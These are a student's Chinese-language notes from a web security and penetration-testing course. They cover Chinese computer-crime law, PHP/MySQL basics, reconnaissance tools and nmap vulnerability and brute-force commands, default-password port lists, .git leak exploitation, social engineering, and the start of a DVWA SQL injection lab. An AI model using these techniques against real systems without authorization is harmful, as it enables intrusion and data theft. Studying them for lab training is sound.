课程:磐石计划:Web安全漏洞与渗透测试
主讲老师:陈殷
课程详情:https://www.cnblogs.com/xuanhun/p/12849767.html
本文内容:磐石计划课堂笔记
引用:课程讲义(作者:陈殷),课程PPT
信息安全
信息安全是指信息网络的硬件、软件及其系统中的数据受到保护,不受偶然的或者恶意的原因而遭到破坏、更改、泄露,系统连续可靠正常地运行,信息服务不中断。
信息安全是一门涉及计算机科学、网络技术、通信技术、密码技术、信息安全技术、应用数学、数论、信息论等多种学科的综合性学科。
从广义来说,凡是涉及到网络上信息的保密性、完整性、可用性、真实性和可控性的相关技术和理论都是网络安全的研究领域。
犯罪 - 刑事处罚:《刑法》
违法 - 治安处罚:《治安管理处罚法》
处分 - 从业禁止:《网络安全法》
《刑法》第285、286条主要罪名
非法侵入计算机信息系统罪
非法获取计算机信息系统数据、非法控制计算机信息系统罪
提供侵入、非法控制计算机信息系统的程序、工具罪
破坏计算机信息系统罪
【非法侵入计算机信息系统罪】违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。
【非法获取计算机信息系统数据、非法控制计算机信息系统罪】违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。
【提供侵入、非法控制计算机信息系统的程序、工具罪】提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。
情节严重
(一)获取支付结算、证券交易、期货交易等网络金融服务的身份认证信息十组以上的;
(二)获取第(一)项以外的身份认证信息五百组以上的;
(三)非法控制计算机信息系统二十台以上的;
(四)违法所得五千元以上或者造成经济损失一万元以上的;
(五)其他情节严重的情形。
情节特别严重
(一)数量或者数额达到前款第(一)项至第(四)项规定标准五倍以上的;(获取网络金融服务身份认证信息五十组以上,一般用户身份认证信息二千五百组以上,或者侵入系统一百台以上,或者造成经济损失五万元以上的。)
(二)其他情节特别严重的情形。
提供侵入、非法控制计算机信息系统的程序、工具,明知是他人非法控制的计算机信息系统,而对该计算机信息系统的控制权加以利用的,依照前两款的规定定罪处罚。
情节严重(285条)
10组
500组
20台
5000元/10000元
5倍
第二百八十五条 非法侵入计算机信息系统罪
违反国家规定,侵入国家事务、国防建设、尖端科学技术领域的计算机信息系统的,处三年以下有期徒刑或者拘役。 违反国家规定,侵入前款规定以外的计算机信息系统或者采用其他技术手段,获取该计算机信息系统中存储、处理或者传输的数据,或者对该计算机信息系统实施非法控制,情节严重的,处三年以下有期徒刑或者拘役,并处或者单处罚金;情节特别严重的,处三年以上七年以下有期徒刑,并处罚金。 提供专门用于侵入、非法控制计算机信息系统的程序、工具,或者明知他人实施侵入、非法控制计算机信息系统的违法犯罪行为而为其提供程序、工具,情节严重的,依照前款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照各该款的规定处罚。
【破坏计算机信息系统罪】违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。
违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。
故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。
处罚
后果严重 - 五年以下有期徒刑或者拘役
后果特别严重 - 五年以上有期徒刑
后果严重
(一)造成10台以上计算机信息系统的主要软件或者硬件不能正常运行的;
(二)对20台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;
(三)违法所得5000以上或者造成经济损失10000元以上的;
(四)造成为100台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为一万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;
(五)造成其他严重后果的。
后果特别严重
(一)数量或者数额达到前款第(一)项至第(三)项规定标准五倍以上的;(造成50台以上计算机信息系统的主要软件或者硬件不能正常运行的;对100台以上计算机信息系统中存储、处理或者传输的数据进行删除、修改、增加操作的;违法所得25000元以上或者造成经济损失50000元以上的。)
(二)造成为500台以上计算机信息系统提供域名解析、身份认证、计费等基础服务或者为五万以上用户提供服务的计算机信息系统不能正常运行累计一小时以上的;
(三)破坏国家机关或者金融、电信、交通、教育、医疗、能源等领域提供公共服务的计算机信息系统的功能、数据或者应用程序,致使生产、生活受到严重影响或者造成恶劣社会影响的;
(四)造成其他特别严重后果的。
情节严重(刑法-286条)
10台
20台
100台/1小时(一万用户)
5000元/10000元
5倍
第二百八十六条 破坏计算机信息系统罪
违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行,后果严重的,处五年以下有期徒刑或者拘役;后果特别严重的,处五年以上有期徒刑。 违反国家规定,对计算机信息系统中存储、处理或者传输的数据和应用程序进行删除、修改、增加的操作,后果严重的,依照前款的规定处罚。 故意制作、传播计算机病毒等破坏性程序,影响计算机系统正常运行,后果严重的,依照第一款的规定处罚。 单位犯前三款罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照第一款的规定处罚。
有下列行为之一的,处五日以下拘留;情节较重的,处五日以上十日以下拘留:
(一)违反国家规定,侵入计算机信息系统,造成危害的;
(二)违反国家规定,对计算机信息系统功能进行删除、修改、增加、干扰,造成计算机信息系统不能正常运行的;
(三)违反国家规定,对计算机信息系统中存储、处理、传输的数据和应用程序进行删除、修改、增加的;
(四)故意制作、传播计算机病毒等破坏性程序,影响计算机信息系统正常运行的。
第六十三条 第三款
违反本法第二十七条规定,受到治安管理处罚的人员,五年内不得从事网络安全管理和网络运营关键岗位的工作;受到刑事处罚的人员,终身不得从事网络安全管理和网络运营关键岗位的工作。
禁止性规定/事后性惩罚
刑事处罚/治安处罚/从业禁止
遵从法律框架、规范技术手段
第二十六条
开展网络安全认证、检测、风险评估等活动,向社会发布系统漏洞、计算机病毒、网络攻击、网络侵入等网络安全信息,应当遵守国家有关规定。
法律法规要加强学习
圈子里交友要谨慎
技术操作要规范
提问是我们拨开迷障发现问题真正所在,但是如何去提问
前提:先百度!先百度!先百度!
原则:礼貌为前提 精准描述
答疑之后:
谢谢师傅,我再试一下,耽误您时间了~
or
红包
phpstudy环境:https://www.xp.cn/(官网)
hosts:https://baike.baidu.com/item/hosts/10474546(百度百科)
cdn:https://www.cnblogs.com/lianghe01/p/11132133.html(lianghe的博客)
Kali
Kali Linux是基于Debian的Linux发行版
Kali Linux是一个高级渗透测试和安全审计Linux发行版。
这是黑客必备工具之一
Metasploitable2
Metasploitable是故意易受攻击的Linux虚拟机。该VM可用于进行安全培训,测试安全工具并练习常见的渗透测试技术。
默认的登录名是msfadmin
密码:msfadmin。
切勿将此虚拟机暴露于不受信任的网络(如果您有任何疑问,请使用NAT或仅主机模式)。
HTML称为超文本标记语言,是一种标识性的语言。它包括一系列标签.通过这些标签可以将网络上的文档格式统一,使分散的Internet资源连接为一个逻辑整体。HTML文本是由HTML命令组成的描述性文本,HTML命令可以说明文字,图形、动画、声音、表格、链接等。
JavaScript
sublime
PHP(全称:PHP:超文本预处理器,即“ PHP:超文本预处理器”)是一种通用的开源脚本语言。
PHP功能和好处
可以生成动态页面内容
可以创建,打开,读取,写入,关闭服务器上的文件
可以收集表单数据
可以发送和接收cookie
可以添加,删除,修改您的数据库中的数据
可以限制用户访问您的网站上的一些页面
可以加密数据
通过PHP,您可以不再输出HTML。您可以输出图像,PDF文件,甚至Flash电影。您还可以输出任意的文本,例如XHTML和XML。
可在不同的平台上运行(Windows,Linux,Unix,Mac OS X等)
与当前几乎所有的正在被使用的服务器相兼容(Apache,IIS等)
提供了广泛的数据库支持
是免费的,可从官方的PHP资源下载它: www.php.net
易于学习,尽可能高效地运行在服务器端
结构化查询语言,即SQL【structured query language】
需注意:
1,所有DBMS(database manager system)都执行SQL语法
2,数据库语言中的字符串要用单引号加起来
3,SQL中不区分大小写
MySQL 是最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS(Relational Database Management System:关系数据库管理系统)应用软件之一。
在本教程中,会让大家快速掌握 MySQL 的基本知识,并轻松使用 MySQL 数据库。
数据库(Database)是按照数据结构来组织、存储和管理数据的仓库。
每个数据库都有一个或多个不同的 API 用于创建,访问,管理,搜索和复制所保存的数据。
我们也可以将数据存储在文件中,但是在文件中读写数据速度相对较慢。
所以,现在我们使用关系型数据库管理系统(RDBMS)来存储和管理大数据量。所谓的关系型数据库,是建立在关系模型基础上的数据库,借助于集合代数等数学概念和方法来处理数据库中的数据。
RDBMS 即关系数据库管理系统(Relational Database Management System)的特点:
MySQL 是一个关系型数据库管理系统,由瑞典 MySQL AB 公司开发,目前属于 Oracle 公司。MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。
登录后可以查询现有的数据库
show databases;
我们可以在登陆 MySQL 服务后,使用 create 命令创建数据库,语法如下:
CREATE DATABASE 数据库名;
以下命令简单的演示了创建数据库的过程,数据名为 RUNOOB:
[root@host]# mysql -u root -p
Enter password:****
mysql> create DATABASE rock;
使用普通用户登陆 MySQL 服务器,你可能需要特定的权限来创建或者删除 MySQL 数据库,所以我们这边使用 root 用户登录,root 用户拥有最高权限。
在删除数据库过程中,务必要十分谨慎,因为在执行删除命令后,所有数据将会消失。
drop 命令格式:
drop database <数据库名>;
例如删除名为 RUNOOB 的数据库:
mysql> drop database rock;
在你连接到 MySQL 数据库后,可能有多个可以操作的数据库,所以你需要选择你要操作的数据库。
在 mysql> 提示窗口中可以很简单的选择特定的数据库。你可以使用SQL命令来选择指定的数据库。
以下实例选取了数据库 RUNOOB:
[root@host]# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql>
执行以上命令后,你就已经成功选择了rock数据库,在后续的操作中都会在rock数据库中执行。
注意: 所有的数据库名,表名,表字段都是区分大小写的。所以你在使用SQL命令时需要输入正确的名称。
MySQL中定义数据字段的类型对你数据库的优化是非常重要的。
MySQL支持多种类型,大致可以分为三类:数值、日期/时间和字符串(字符)类型。
MySQL支持所有标准SQL数值数据类型。
这些类型包括严格数值数据类型(INTEGER、SMALLINT、DECIMAL和NUMERIC),以及近似数值数据类型(FLOAT、REAL和DOUBLE PRECISION)。
关键字INT是INTEGER的同义词,关键字DEC是DECIMAL的同义词。
BIT数据类型保存位字段值,并且支持MyISAM、MEMORY、InnoDB和BDB表。
作为SQL标准的扩展,MySQL也支持整数类型TINYINT、MEDIUMINT和BIGINT。下面的表显示了需要的每个整数类型的存储和范围。
类型 | 大小 | 范围(有符号) | 范围(无符号) | 用途 |
---|---|---|---|---|
TINYINT | 1 byte | (-128,127) | (0,255) | 小整数值 |
SMALLINT | 2 bytes | (-32 768,32 767) | (0,65 535) | 大整数值 |
MEDIUMINT | 3 bytes | (-8 388 608,8 388 607) | (0,16 777 215) | 大整数值 |
INT或INTEGER | 4 bytes | (-2 147 483 648,2 147 483 647) | (0,4 294 967 295) | 大整数值 |
BIGINT | 8 bytes | (-9,223,372,036,854,775,808,9 223 372 036 854 775 807) | (0,18 446 744 073 709 551 615) | 极大整数值 |
FLOAT | 4 bytes | (-3.402 823 466 E+38,-1.175 494 351 E-38),0,(1.175 494 351 E-38,3.402 823 466 351 E+38) | 0,(1.175 494 351 E-38,3.402 823 466 E+38) | 单精度 浮点数值 |
DOUBLE | 8 bytes | (-1.797 693 134 862 315 7 E+308,-2.225 073 858 507 201 4 E-308),0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) | 0,(2.225 073 858 507 201 4 E-308,1.797 693 134 862 315 7 E+308) | 双精度 浮点数值 |
DECIMAL | 对DECIMAL(M,D) ,如果M>D,为M+2否则为D+2 | 依赖于M和D的值 | 依赖于M和D的值 | 小数值 |
表示时间值的日期和时间类型为DATETIME、DATE、TIMESTAMP、TIME和YEAR。
每个时间类型有一个有效值范围和一个"零"值,当指定不合法的MySQL不能表示的值时使用"零"值。
TIMESTAMP类型有专有的自动更新特性,将在后面描述。
类型 | 大小 ( bytes) | 范围 | 格式 | 用途 |
---|---|---|---|---|
DATE | 3 | 1000-01-01/9999-12-31 | YYYY-MM-DD | 日期值 |
TIME | 3 | ‘-838:59:59’/‘838:59:59’ | HH:MM:SS | 时间值或持续时间 |
YEAR | 1 | 1901/2155 | YYYY | 年份值 |
DATETIME | 8 | 1000-01-01 00:00:00/9999-12-31 23:59:59 | YYYY-MM-DD HH:MM:SS | 混合日期和时间值 |
TIMESTAMP | 4 | 1970-01-01 00:00:00/2038结束时间是第 2147483647 秒,北京时间 2038-1-19 11:14:07,格林尼治时间 2038年1月19日 凌晨 03:14:07 | YYYYMMDD HHMMSS | 混合日期和时间值,时间戳 |
字符串类型指CHAR、VARCHAR、BINARY、VARBINARY、BLOB、TEXT、ENUM和SET。该节描述了这些类型如何工作以及如何在查询中使用这些类型。
类型 | 大小 | 用途 |
---|---|---|
CHAR | 0-255 bytes | 定长字符串 |
VARCHAR | 0-65535 bytes | 变长字符串 |
TINYBLOB | 0-255 bytes | 不超过 255 个字符的二进制字符串 |
TINYTEXT | 0-255 bytes | 短文本字符串 |
BLOB | 0-65 535 bytes | 二进制形式的长文本数据 |
TEXT | 0-65 535 bytes | 长文本数据 |
MEDIUMBLOB | 0-16 777 215 bytes | 二进制形式的中等长度文本数据 |
MEDIUMTEXT | 0-16 777 215 bytes | 中等长度文本数据 |
LONGBLOB | 0-4 294 967 295 bytes | 二进制形式的极大文本数据 |
LONGTEXT | 0-4 294 967 295 bytes | 极大文本数据 |
注意:char(n) 和 varchar(n) 中括号中 n 代表字符的个数,并不代表字节个数,比如 CHAR(30) 就可以存储 30 个字符。
CHAR 和 VARCHAR 类型类似,但它们保存和检索的方式不同。它们的最大长度和是否尾部空格被保留等方面也不同。在存储或检索过程中不进行大小写转换。
BINARY 和 VARBINARY 类似于 CHAR 和 VARCHAR,不同的是它们包含二进制字符串而不要非二进制字符串。也就是说,它们包含字节字符串而不是字符字符串。这说明它们没有字符集,并且排序和比较基于列值字节的数值值。
BLOB 是一个二进制大对象,可以容纳可变数量的数据。有 4 种 BLOB 类型:TINYBLOB、BLOB、MEDIUMBLOB 和 LONGBLOB。它们区别在于可容纳存储范围不同。
有 4 种 TEXT 类型:TINYTEXT、TEXT、MEDIUMTEXT 和 LONGTEXT。对应的这 4 种 BLOB 类型,可存储的最大长度不同,可根据实际情况选择。
创建MySQL数据表需要以下信息:
以下为创建MySQL数据表的SQL通用语法:
CREATE TABLE table_name (column_name column_type);
以下例子中我们将在 RUNOOB 数据库中创建数据表runoob_tbl:
mysql> create table `user`(
-> `id` int auto_increment,
-> `name` char(30) not null,
-> primary key (`id`));
MySQL中删除数据表是非常容易操作的, 但是你再进行删除表操作时要非常小心,因为执行删除命令后所有数据都会消失。
以下为删除MySQL数据表的通用语法:
DROP TABLE table_name ;
在mysql>命令提示窗口中删除数据表SQL语句为 DROP TABLE :
以下实例删除了数据表user:
root@host# mysql -u root -p
Enter password:****
mysql> use rock;
Database changed
mysql> DROP TABLE user
Query OK, 0 rows affected (0.8 sec)
mysql>
MySQL 表中使用 INSERT INTO SQL语句来插入数据。
你可以通过 mysql> 命令提示窗口中向数据表中插入数据,或者通过PHP脚本来插入数据。
以下为向MySQL数据表插入数据通用的 INSERT INTO SQL语法:
INSERT INTO table_name ( field1, field2,...fieldN )
VALUES
( value1, value2,...valueN );
如果数据是字符型,必须使用单引号或者双引号,如:“value”。
以下我们将使用 SQL INSERT INTO 语句向 MySQL 数据表 runoob_tbl 插入数据
以下实例中我们将向 user表插入一条数据:
mysql> insert into user
-> (name)
-> value
-> ("chenyin");
Query OK, 1 row affected (0.00 sec)
注意: 使用箭头标记 -> 不是 SQL 语句的一部分,它仅仅表示一个新行,如果一条SQL语句太长,我们可以通过回车键来创建一个新行来编写 SQL 语句,SQL 语句的命令结束符为分号 ;。
在以上实例中,我们并没有提供id 的数据,因为该字段我们在创建表的时候已经设置它为 AUTO_INCREMENT(自动增加) 属性。
所以,该字段会自动递增而不需要我们去设置。
接下来我们可以通过以下语句查看数据表数据:
MySQL 数据库使用SQL SELECT语句来查询数据。
你可以通过 mysql> 命令提示窗口中在数据库中查询数据,或者通过PHP脚本来查询数据。
以下为在MySQL数据库中查询数据通用的 SELECT 语法:
SELECT column_name,column_name
FROM table_name
[WHERE Clause]
[LIMIT N][ OFFSET M]
以下实例我们将通过 SQL SELECT 命令来获取 MySQL 数据表 user的数据:
以下实例将返回数据表 user的所有记录:
select * from user;
输出结果:
MySQL UNION 操作符用于连接两个以上的 SELECT 语句的结果组合到一个结果集合中。多个 SELECT 语句会删除重复的数据。
UNION 语句:用于将不同表中相同列中查询的数据展示出来;(不包括重复数据)
我们首先创建一个新表
mysql> create table user1(
-> id int auto_increment,
-> name char(30) not null,
-> primary key (id));
Query OK, 0 rows affected (0.57 sec)
在user1插入一条数据
查询
UNION ALL 语句:用于将不同表中相同列中查询的数据展示出来;(包括重复数据)
使用形式如下:
SELECT 列名称 FROM 表名称 UNION SELECT 列名称 FROM 表名称 ORDER BY 列名称;
SELECT 列名称 FROM 表名称 UNION ALL SELECT 列名称 FROM 表名称 ORDER BY 列名称;
我们知道从 MySQL 表中使用 SQL SELECT 语句来读取数据。
如果我们需要对读取的数据进行排序,我们就可以使用 MySQL 的 ORDER BY 子句来设定你想按哪个字段哪种方式来进行排序,再返回搜索结果。
以下是 SQL SELECT 语句使用 ORDER BY 子句将查询数据排序后再返回数据:
SELECT field1, field2,...fieldN FROM table_name1, table_name2...
ORDER BY field1 [ASC [DESC][默认 ASC]], [field2...] [ASC [DESC][默认 ASC]]
首先添加多条数据
根据id进行排序
根据所有者地址和其它信息进行域名拓补图绘制
备案号查询
备案号是网站是否合法注册经营的标志,可随时到国家工业和信息化部网站备案系统上查询该ICP备案的相关详细信息。
网站:www.beianbeian.com
点击反查,即可出现百度公司的相关资产
子域名发现的原理
利用现有搜索引擎:
网页搜索引擎(如:谷歌等)
空间搜索引擎(如:Shodan等)
SSL证书(如:crt.sh等)
爆破
又分为两种:
直接访问子域名
利用 DNS 请求
其他泄露信息:
如 crossdomain.xml 文件等
爬虫递归爬取等
DNS域传送漏洞等
常规信息收集——子域名:暴力枚举
推荐工具1:Layer子域名挖掘机5.0 SAINTSEC更新版
Author:Seay
Modify:akast、dark3r
支持服务接口、暴力搜索、同服挖掘三种模式
支持打开网站、复制域名、复制IP、复制CDN
支持导出检测结果等功能
推荐指数:★★★★★
推荐工具2:subdomainsBurte
author:李劼杰
这个脚本的主要目标是发现其他工具无法探测到的域名,如Google,aizhan,fofa。
高频扫描每秒DNS请求数可超过1000次。
DownLoad Link:
https://github.com/y1ng1996/lijiejie_subDomainsBrute
推荐指数:★★★★★
常规信息收集——子域名:SSL证书查询
推荐网站1:censys.io
推荐指数:★★★★★
推荐网站2:crt.sh
推荐指数:★★★★★
推荐网站3:dnsdumpster.com
DNS服务器
MX记录
主机记录
推荐指数:★★★
常规信息收集——子域名:证书泄密
工具:火狐浏览器
访问https的链接可能出现
常规信息收集——子域名:第三方查询
推荐网站:shodan
推荐指数:★★★★★
推荐网站:fofa
推荐指数:★★★★★
常规信息收集——尝试查找CDN背后的真实ip
钟馗之眼: https://www.zoomeye.org/
censys: https://www.censys.io/
shodan: https://www.shodan.io/
全球DNS搜索引擎: https://www.dnsdb.io/zh-cn
FOFA :https://fofa.so/
Surfwax元搜索: http://lookahead.surfwax.com/
Way Back Machine(搜索网站过去的样子): https://archive.org/web/
Google学术 :https://scholar.google.com.ph/
让网站与你主动建立连接
example:订阅网站、RSS、注册链接
方法:查看邮件源代码(也有一种可能就是邮件服务器IP跟web服务器只是在一个c段上,这时候就需要对整个c段进行扫描)
缺点:目标站使用其它邮箱接口此方法则失效
常规信息收集——IP段整理
IPwhois.cnnic.net.cn
中国互联网络信息中心
常规信息收集——C段查询、旁站查询
https://phpinfo.me/bing.php
http://www.webscan.cc
常规信息收集——纯真IP数据库
浅谈端口安全——常用端口以及常见测试项目
端口号 | 服务和测试 |
---|---|
21 | ftp |
22 | SSH |
23 | Telnet |
80 | web |
80-89 | web |
161 | SNMP |
389 | LDAP |
443 | SSL心脏滴血 |
445 | SMB |
512,513,514 | Rexec |
873 | Rsync未授权 |
1025,111 | NFS |
1433 | MSSQL |
1521 | Oracle:(iSqlPlus Port:5560,7778) |
2601,2604 | zebra路由,默认密码zebra |
3306 | MySQL |
3312/3311 | kangle主机管理系统登陆 |
3389 | 远程桌面 |
4440 | rundeck |
5432 | PostgreSQL |
5900 | vnc |
5984 | CouchDB http://xxx:5984/_utils/ |
6082 | varnish |
6379 | redis未授权 |
7001,7002 | WebLogic默认弱口令,反序列 |
7778 | Kloxo主机控制面板登录 |
8000-9090 | 都是一些常见的web端口,有些运维喜欢把管理后台开在这些非80的端口上 |
7001,7002 | WebLogic默认弱口令,反序列 |
7778 | Kloxo主机控制面板登录 |
8080 | tomcat/WDCP主机管理系统,默认弱口令 |
8080,8089,9090 | JBOSS |
8161 | activemq未授权访问默认用户名和密码是admin |
8888 | amh/LuManager 主机管理系统默认端口 |
9200,9300 | elasticsearch |
10000 | Virtualmin/Webmin 服务器虚拟主机管理系统 |
11211 | memcache未授权访问 |
27017,27018 | Mongodb未授权访问 |
28017 | mongodb统计页面 |
50000 | SAP命令执行 |
50070,50030 | hadoop默认端口未授权访问 |
常规信息收集——端口信息收集
masscan
Download Link:https://github.com/robertdavidgraham/masscan
它可以在6分钟内扫描整个互联网,从一台机器每秒传输1000万个数据包。
masscan使用自己的自定义TCP / IP堆栈。
除简单端口扫描之外的任何其他操作都可能导致与本地TCP / IP堆栈冲突。
缺点:但是很吃带宽
推荐指数:★★★★★
scanport
小巧的windows端口快速扫描工具
最大线程为200
推荐指数:★★★★★
御剑
基于VB.NET + IOCP模型开发的高效端口扫描工具
支持IP区间合并,端口区间合并
端口指纹深度探测
推荐指数:★★★★★
常规信息收集——利用nmap快速捡洞和检洞
利用nmap五条指令快速捡洞和检洞:
系统漏洞检测:nmap --script smb-check-vulns.nse -p 192.168.1.1
数据库密码检测:nmap --script=brute 192.168.1.1
收集应用服务信息: nmap -sC 192.168.1.1
检测常见漏洞:nmap --script=vuln 192.168.1.1
检测部分应用的弱口令(负责处理鉴权证书): nmap --script=auth 192.168.1.1
指纹收集——第三方收集
云悉指纹
网站:www.yunsee.cn
指纹收集——浏览器插件妙用
Wappalyzer
Wappalyzer:Wappalyzer是一款能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的chrome网站技术分析插件。
常规信息收集——状态码浅析
状态码 | 意义 | 中文释义 |
---|---|---|
200 | OK | 客户端请求成功,响应主题包含请求的结果 |
400 | Bad Request | 客户端请求有语法错误,不能被服务器所理解,比如url插入无效的字符 |
401 | Unauthorized | 请求未经授权,被允许之前要求进行http身份认证, WWW-Authenticate消息头说明所支持的身份验证类型 |
403 | Forbidden | 禁止所有人访问被请求的资源 |
404 | Not Found | 请求资源不存在,eg:输入了错误的 URL |
405 | Method not allowed | 用了不支持的请求方法 如:put |
503 | Server Unavailable | 服务器当前不能处理客户端的请求,一段时间后可能恢复正常 |
常规信息收集——路径扫描工具原理浅析
返回状态码
返回内容正则判断
返回头
返回内容大小
目录字典
……
github项目推荐:https://github.com/Mosuan/FileScan
常规信息收集——使用Burp打造一个简易的扫描工具
使用到的工具:BurpSuite Intruder + 一份路径字典
常规信息收集——路径扫描工具
DirMap
一个高级的Web目录扫描工具
功能将会强于DirBuster,Dirsearch,cansina,御剑
Github:https://github.com/H4ckForJob/dirmap
使用Python3安装所需支持库:
python3 -m pip install -r requirements.txt
功能特点:
•支持Ñ个目标* N个有效载荷并发
•支持递归扫描
•支持自定义需要递归扫描的状态码
•支持(单|多)字典扫描
•支持自定义字符集爆破
•支持爬虫动态字典扫描
•支持自定义标签模糊目标网址
•自定义请求的User-Agent
•自定义请求随机延时
•自定义请求超时时间
•自定义请求代理
•自定义正则表达式匹配假性404页面
•自定义要处理的响应状态码
•自定义跳过大小为X的页面
•自定义显示的内容类型
•自定义显示页面大小
•按域名去重复保存结果
7kbscan
御剑系列
常规信息收集——另类猜测思路
经过观察发现,我们可以猜测开发者喜欢命名的方式是:该操作的英文名称+首字母大写
那么我们可以手动生成以下url进行探测:
AdminLogin
ManageLogin
UserEdit
……
常规搜索引擎
高级语法巧用
高级语法组合
敏感关键字搜索
网络空间设备搜索
fofa
country="CN"
搜索中国的资产
region="Zhejiang"
搜索指定行政区的资产
city="Hangzhou"
搜索指定城市的ip资产
title="abc"
从标题中搜索abc
查询条件连接:&&
eg:
查询所属城市为杭州、标题为后台登录的页面
city="Hangzhou"&&title="后台登录"
泄密查询——百度网盘泄密
关键字:XXX公司内部资料
关键字:XXX网密码
泄密查询——GITHUB
推荐项目:https://github.com/0xbug/Hawkeye
监控GitHub的代码库,及时发现员工托管公司代码到GitHub的行为并预警,降低代码泄露风险。
主动搜索
各软件商店(Android、ISO)
自媒体第三方平台
微信小程序
网站产品列表
朋友圈
……
苹果商店
开发者选项
第三方平台
threatbook.cn
自主搭建
原理:爬虫+搜索引擎+数据库+定时扫描+邮箱提醒
以LangSrcCurise为例:
Github:https://github.com/LangziFun/LangSrcCurise
通过网络搜索引擎监控其下指定域名,并且能进行持续性信息收集整理的自动化资产监控管理系统,基于Django开发。
细心挖天下
乌云漏洞库的秘密
打码不全、无打码、后台地址、后台管理员账号商家账号……
钓鱼?
该操作涉及法律风险,仅供学习娱乐,请勿用于非法用途。
社工学本质在于欺骗,精髓在于让被骗者在经过思考之后陷入设计好的圈套。假设被骗者是有智慧和思想的,而他们的智慧和思想却总是在你的掌控之内,总的来说,就是利用人性的弱点,这是人的一个BUG。
中华宝典:《三十六计》、范建忠《黑客社会工程学攻击档案袋》
国外宝典:凯文米特尼克《欺骗的艺术》
攻击手段设想:
软社工:mail钓鱼、chat attacking、网络员工群、VPN……
硬社工:U盘、身份伪装、局域网渗透……
git可以说是当今最受欢迎的版本控制/版本管理软件了, 很多基于git的云端托管仓库都提供了免费的托管服务, 甚至有不少还支持免费私有仓库, 如bitbucket和国内的gitosc(开源中国)等.
关键文件
git在初始化项目的时候, 会在项目的根目录(可用git rev-parse --show-toplevel
查看)创建一个名为.git的隐藏文件夹, 里面包含了本地所有commit的历史记录. 如果无意间将这个目录置于WEB的路径下让用户可以访问,那么也就泄露了几乎所有的源代码和其他其他敏感信息.
泄露内容
所有该项目的源代码
私有仓库的地址
私密的配置信息
所有commiter的邮箱帐号信息
(可能)内部的帐号和密码
GitHack is a .git folder disclosure exploit.
It rebuild source code from .git folder while keep directory structure unchanged.
GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。
渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。
工作原理
解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 )
去.git/objects/ 文件夹下下载对应的文件
zlib解压文件,按原始的目录结构写入源代码
https://blog.csdn.net/u012486730/article/details/82019513
svn, 即Subversion, 在github之前曾经也是炙手可热的版本管理工具, 虽然已经日渐式微, 但在很多国企,研究院等地方依然是作为版本管理的主要工具. 对于一些历史悠久的项目, 比如LLVM, 出于历史原因,也是主要使用svn管理源代码.
关键文件
svn同样在项目根目录下会创建一个名为.svn的隐藏文件夹, 包含了所有分支commit信息和代码记录.
泄露内容
所有该项目的源代码
svn仓库的地址
svn仓库所属用户的用户名
…
.DS_Store(Desktop Services Store)是macOS目录下的隐藏文件, 包含了当前目录结构和一些的自定义信息,如背景和图标位置等, 在windows下类似的文件为desktop.ini. 暴露了.DS_Store文件也就相当于暴露了该目录下的所有内容.可以说是比较严重的泄露.
https://github.com/lijiejie/ds_store_exp
测试对象:DVWA漏洞系统–SQL Injection模块–User ID提交功能
防御等级:Low
测试目标:判断被测模块是否存在SQL注入漏洞,漏洞是否可利用,若可以则检测出对应的数据库数据
测试方式:手工方式
被测模块
防御等级为Low的后端控制代码:
low.php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ''
. ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
$html .= "ID: { $id}"; } mysqli_close($GLOBALS["___mysqli_ston"]); } ?>
First name: { $first}
Surname: { $last}
以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,很容易就能探测出SQL注入漏洞,然后进一步利用来获取数据库信息or其他操作权限。
当实际进行检测时,一开始并不知道后端的代码,需要进行类似于黑盒测试,构造一些特定的输入字符向服务端提交,根据响应返回的信息进行判断是否存在SQL注入漏洞。
输入:单引号
'
反斜杠\
query:(一开始并不知晓代码中设置的查询语句,可由后面步骤来推测)
SELECT first_name, last_name FROM users WHERE user_id = ''';
SELECT first_name, last_name FROM users WHERE user_id = '\';
输出:语法错误,抛出异常信息,暴露了数据库服务器的类型为Mysql
#
和 --
(双横杠后面加空格联用)。单引号提交
反斜杠提交
输入:双引号
"
query:SELECT first_name, last_name FROM users WHERE user_id = '"';
